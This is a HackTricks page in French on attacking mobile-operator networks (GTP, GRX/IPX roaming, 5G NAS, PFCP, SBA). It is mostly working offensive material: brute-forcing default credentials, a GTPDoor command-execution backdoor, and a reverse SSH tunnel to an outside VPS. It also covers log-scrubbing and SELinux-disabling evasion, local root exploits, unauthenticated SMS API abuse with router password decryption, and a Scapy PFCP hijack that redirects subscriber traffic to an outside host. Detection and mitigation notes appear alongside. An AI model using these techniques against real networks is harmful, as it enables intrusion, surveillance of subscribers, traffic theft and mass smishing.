Exploitation des réseaux télécom (GTP / environnements de roaming)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Note
Les protocoles du mobile-core (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu’ils transitent sur UDP en clair avec presque aucune authentification, tout point d’appui à l’intérieur du périmètre d’un opérateur télécom peut généralement atteindre directement les plans de signalisation core. Les notes suivantes rassemblent des astuces offensives observées en liberté contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Un nombre étonnamment important d’éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Une wordlist dédiée augmente fortement le succès du brute-force :
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Si l’équipement n’expose qu’un VRF de gestion, pivotez d’abord via un jump host (voir la section «SGSN Emu Tunnel» ci‑dessous).
1.2 Découverte d’hôtes dans GRX/IPX
La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan avec les UDP probes gtpv1 intégrées pour cartographier rapidement les GTP-C listeners :
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Énumération des abonnés – cordscan
L’outil Go suivant construit des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel servant l’IMSI interrogé et, parfois, le PLMN visité de l’abonné.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Options clés :
--imsiIMSI de l’abonné cible--operOpérateur / HNI (MCC+MNC)-wÉcrire les paquets bruts dans un pcap
Des constantes importantes à l’intérieur du binaire peuvent être patchées pour élargir les scans :
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsqu’une charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Le stdout/stderr est exfiltré à l’intérieur des messages Echo Response de sorte qu’aucune session sortante n’est jamais créée.
Paquet PoC minimal (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Détection :
- tout hôte envoyant des unbalanced Echo Requests vers des adresses IP SGSN
- GTP version flag défini sur 1 alors que message type = 1 (Echo) – écart par rapport à la spécification
4. Pivoting à travers le core
4.1 sgsnemu + SOCKS5
OsmoGGSN fournit un émulateur SGSN capable d’établir un PDP context vers un GGSN/PGW réel. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les VLANs réservés à la signalisation et vous place directement dans le data plane.
4.2 SSH Reverse Tunnel sur le port 53
DNS is almost always open in roaming infrastructures. Exposez un service SSH interne sur votre VPS en écoute sur :53 et revenez plus tard depuis chez vous:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Vérifiez que GatewayPorts yes est activé sur le VPS.
5. Canaux cachés
| Canal | Transport | Décodage | Remarques |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | écouteur purement passif, pas de trafic sortant |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | surveille le sous-domaine *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | se fond dans le trafic GTP légitime |
Tous les implants implémentent des watchdogs qui timestomp leurs binaires et se relancent s’ils plantent.
6. Cheatsheet d’évasion des défenses
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation sur Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Astuce de nettoyage :
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Boîte à outils
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
9. Attaques d’enregistrement NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
La procédure d’enregistrement 5G s’exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Tant que la sécurité NAS n’est pas activée par le Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d’attaque lorsqu’on peut observer ou altérer le trafic N2 (par ex., on-path inside the core, rogue gNB, ou testbed).
Flux d’enregistrement (simplifié) :
- Registration Request: UE envoie SUCI (SUPI chiffré) et capabilities.
- Authentication: AMF/AUSF envoient RAND/AUTN ; UE retourne RES*.
- Security Mode Command/Complete: NAS integrity et ciphering sont négociés et activés.
- PDU Session Establishment: configuration IP/QoS.
Conseils de configuration du labo (non-RF) :
- Core: le déploiement par défaut d’Open5GS suffit pour reproduire les flux.
- UE: simulateur ou UE de test ; décoder avec Wireshark.
- Active tooling: 5GReplay (capturer/modifier/rejouer NAS within NGAP), Sni5Gect (sniff/patch/inject NAS à la volée without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Confidentialité des identifiants : échecs SUCI exposant SUPI/IMSI
Attendu : UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d’origine). Trouver un SUPI/IMSI en clair dans le Registration Request indique un défaut de confidentialité permettant le suivi persistant des abonnés.
Comment tester :
- Capturer le premier message NAS dans InitialUEMessage et inspecter le Mobile Identity IE.
- Vérifications rapides dans Wireshark :
- Il doit décoder comme SUCI, pas IMSI.
- Exemples de filtres :
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucishould exist; son absence plus la présence deimsiindique un leak.
Que collecter :
- MCC/MNC/MSIN si exposés ; enregistrer par UE et suivre dans le temps/les emplacements.
Mitigation :
- Forcer les UEs/USIMs à n’utiliser que SUCI ; générer une alerte pour tout IMSI/SUPI présent dans le NAS initial.
9.2 Abaissement de capability vers des algorithmes nuls (EEA0/EIA0)
Contexte :
- L’UE annonce les EEA (encryption) et EIA (integrity) supportés dans le UE Security Capability IE du Registration Request.
- Mappages courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
Problème :
- Comme le Registration Request n’est pas protégé par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection d’EEA0/EIA0 plus tard pendant le Security Mode Command. Certains stacks autorisent à tort les algorithmes nuls en dehors des services d’urgence.
Étapes offensives :
- Intercepter InitialUEMessage et modifier le NAS UE Security Capability pour n’annoncer que EEA0/EIA0.
- Avec Sni5Gect, intercepter le message NAS et patcher les bits de capability avant transmission.
- Observer si l’AMF accepte les chiffrement/integrity nuls et complète le Security Mode avec EEA0/EIA0.
Vérification/visibilité :
- Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
- Exemple de sortie d’un sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mesures d’atténuation (obligatoires) :
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement exigé (par exemple, appels d’urgence).
- Préférer l’application d’EEA2/EIA2 au minimum ; journaliser et générer des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
9.3 Rejeu de la Registration Request initiale (pre-security NAS)
Parce que le NAS initial manque d’intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué vers l’AMF.
Règle PoC pour 5GReplay afin de transférer les replays correspondants :
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
À observer :
- Whether AMF accepts the replay and proceeds to Authentication ; l’absence de validation de fraîcheur/contexte indique une exposition.
Mitigations :
- Enforce replay protection/context binding at AMF ; rate-limit et corréler par GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS : démarrer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
- Wireshark : vérifier le décodage de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler Registration.
- 5GReplay : capturer une Registration, puis replay des messages NGAP + NAS spécifiques selon la règle.
- Sni5Gect : live sniff/modify/inject le control-plane NAS pour forcer des null algorithms ou perturber les sequences d’Authentication.
9.5 Defensive checklist
- Inspecter en continu les Registration Request pour SUPI/IMSI en clair ; bloquer les devices/USIMs fautifs.
- Reject EEA0/EIA0 sauf pour des procédures d’urgence strictement définies ; exiger au minimum EEA2/EIA2.
- Detecter l’infrastructure rogue ou mal configurée : gNB/AMF non autorisés, peers N2 inattendus.
- Alerter sur les modes de sécurité NAS qui entraînent des null algorithms ou des replays fréquents d’InitialUEMessage.
10. Routeurs cellulaires industriels – Abus d’API SMS non authentifiée (Milesight UR5X/UR32/UR35/UR41) et récupération d’identifiants (CVE-2023-43261)
Abusing exposed web APIs des routeurs cellulaires industriels permet des smishing furtifs d’origine opérateur à grande échelle. Les routeurs Milesight UR-series exposent un endpoint de style JSON-RPC à /cgi. Lorsqu’elle est mal configurée, l’API peut être interrogée sans authentication pour lister les SMS inbox/outbox et, dans certains déploiements, pour send SMS.
Requêtes typiques non authentifiées (même structure pour inbox/outbox) :
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Les réponses incluent des champs tels que timestamp, content, phone_number (E.164), et status (success ou failed). Les envois répétés failed vers le même numéro sont souvent des « capability checks » de l’attaquant pour valider qu’un routeur/SIM peut délivrer avant de blast.
Exemple de curl pour exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Notes sur les artefacts d’auth :
- Certain trafic peut inclure un auth cookie, mais une grande partie des appareils exposés répondent sans aucune auth à
query_inbox/query_outboxlorsque l’interface de gestion est accessible depuis Internet. - Dans les environnements nécessitant auth, des credentials previously-leaked (voir ci-dessous) permettent de restaurer l’accès.
Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: les logs servis via le web (p.ex.,
httpd.log) sont accessibles sans auth sous/lang/log/et contiennent des événements de connexion admin avec le mot de passe chiffré à l’aide d’une clé/IV AES codée en dur présente dans le JavaScript côté client. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Exemple minimal en Python pour déchiffrer les leaked passwords (AES-128-CBC, hardcoded key/IV) :
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting and detection ideas (network):
- Alert on unauthenticated
POST /cgiwhose JSON body containsbase/functionset toquery_inboxorquery_outbox. - Track repeated
POST /cgibursts followed bystatus":"failed"entries across many unique numbers from the same source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leak sensitive metadata at scale.
11. PFCP Session Hijack & GTP-U TEID Abuse
11.1 PFCP Session Modification to steal flows
If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.
Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):
Scapy PFCP session hijack PoC
```python from scapy.all import * from scapy.contrib.pfcp import *n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR
pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)
</details>
### 11.2 Injection de trafic utilisateur en usurpant les TEIDs
Si le GTP-U uplink depuis le backbone n’est pas ACL’d, vous pouvez rejouer/deviner les **TEIDs** observés dans les en-têtes GTP-U et encapsuler des paquets IP/TCP arbitraires vers le pair de l'UE ou vers Internet. Exemple craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))
Associez cela au passive sniffing sur N3/N6 pour apprendre les TEIDs actifs ; de nombreuses piles PGW/UPF acceptent n’importe quelle source uplink dès que le TEID correspond.
12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)
FivGeeFuzz (academic 2025) dérive automatiquement des grammars à partir des specs 3GPP OpenAPI pour fuzz les HTTP-based SBIs. Contre free5GC, il a découvert huit bugs, dont l’abus Cross-Service Token : une NF compromise obtient un access token pour Service A et le réutilise contre Service B parce que les vérifications audience/issuer faisaient défaut dans la NF cible.
Quick replay idea (assuming you stole an NRF-issued token from any NF):
# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts
Pour fuzz automatiquement avec les grammaires FivGeeFuzz :
python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500
Surveillez les contournements 401/403 et les plantages dans les pods SMF/AMF ; les builds free5GC patchés rejettent des aud/iss non appariés.
Idées de détection
- Tout appareil autre qu’un SGSN/GGSN établissant des Create PDP Context Requests.
- Ports non standards (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
- Echo Requests fréquents sans Echo Responses correspondantes – pourraient indiquer des beacons GTPDoor.
- Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence importants et non nuls.
- 5G: InitialUEMessage contenant des NAS Registration Requests répétées depuis des endpoints identiques (signal de replay).
- 5G: NAS Security Mode négociant EEA0/EIA0 en dehors des contextes d’urgence.
- PFCP: Session Modification contenant des PDR IDs dupliqués ou une redirection FAR soudaine vers des off-net IPs.
- SBA: NRF émet des tokens dont le
audne correspond pas au NF appelé – indicatif d’un replay de Cross-Service Token.
Références
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
- Cross-Service Token in 5G Core (API Security Blog)
- PFCP Session Modification Hijack in OAI UPF
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


